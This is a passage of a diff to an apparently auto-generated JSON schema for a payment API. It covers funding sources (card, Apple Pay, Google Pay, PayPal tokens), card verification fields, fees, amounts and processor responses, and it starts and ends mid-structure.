"object" } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + ], "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true } }, "required": [ - "cardDetail", - "cardType" - ] + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { "verificationData": { - "description": "Verification data", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, "line1": { - "type": "string", - "description": "Address line 1" + "description": "Address line 1", + "type": "string" }, "line2": { - "type": "string", - "description": "Address line 2" + "description": "Address line 2", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "postalCode": { + "description": "Postal Code", + "type": "string" }, "territory": { - "type": "string", - "description": "Territory" + "description": "Territory", + "type": "string" }, "territoryType": { - "type": "string", + "description": "Territory type", "enum": [ "STATE", "PROVINCE", "OTHER" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": "string" } }, "required": [ @@ -29497,69 +23377,87 @@ "territoryType", "country", "postalCode" - ] + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } + }, + "title": "Card VerificationData", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", "properties": { "billingAddress": { - "description": "Address for verification", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, "line1": { - "type": "string", - "description": "Address line 1" + "description": "Address line 1", + "type": "string" }, "line2": { - "type": "string", - "description": "Address line 2" + "description": "Address line 2", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "postalCode": { + "description": "Postal Code", + "type": "string" }, "territory": { - "type": "string", - "description": "Territory" + "description": "Territory", + "type": "string" }, "territoryType": { - "type": "string", + "description": "Territory type", "enum": [ "STATE", "PROVINCE", "OTHER" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": "string" } }, "required": [ @@ -29569,19592 +23467,21775 @@ "territoryType", "country", "postalCode" - ] + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type" + "description": "Discriminator type", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "VerificationData", + "type": "object" } - } + }, + "title": "PaymentTokenFundingSource", + "type": "object" } ], "properties": { "token": { + "description": "Paypal token", "type": "string", - "description": "Godaddy Payment token", "writeOnly": true } }, "required": [ "token" - ] + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "netAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "paymentContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + }, + "refNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + }, + "refunds": { + "description": "Refunds for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "territory": { - "type": "string", - "description": "Territory" + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "title": "GovernedFee", + "type": "object" } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", + ], "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { + "feeType": { + "description": "Fee type discriminator", "type": "string" } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" }, - "cryptogram": { - "type": "string" - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + 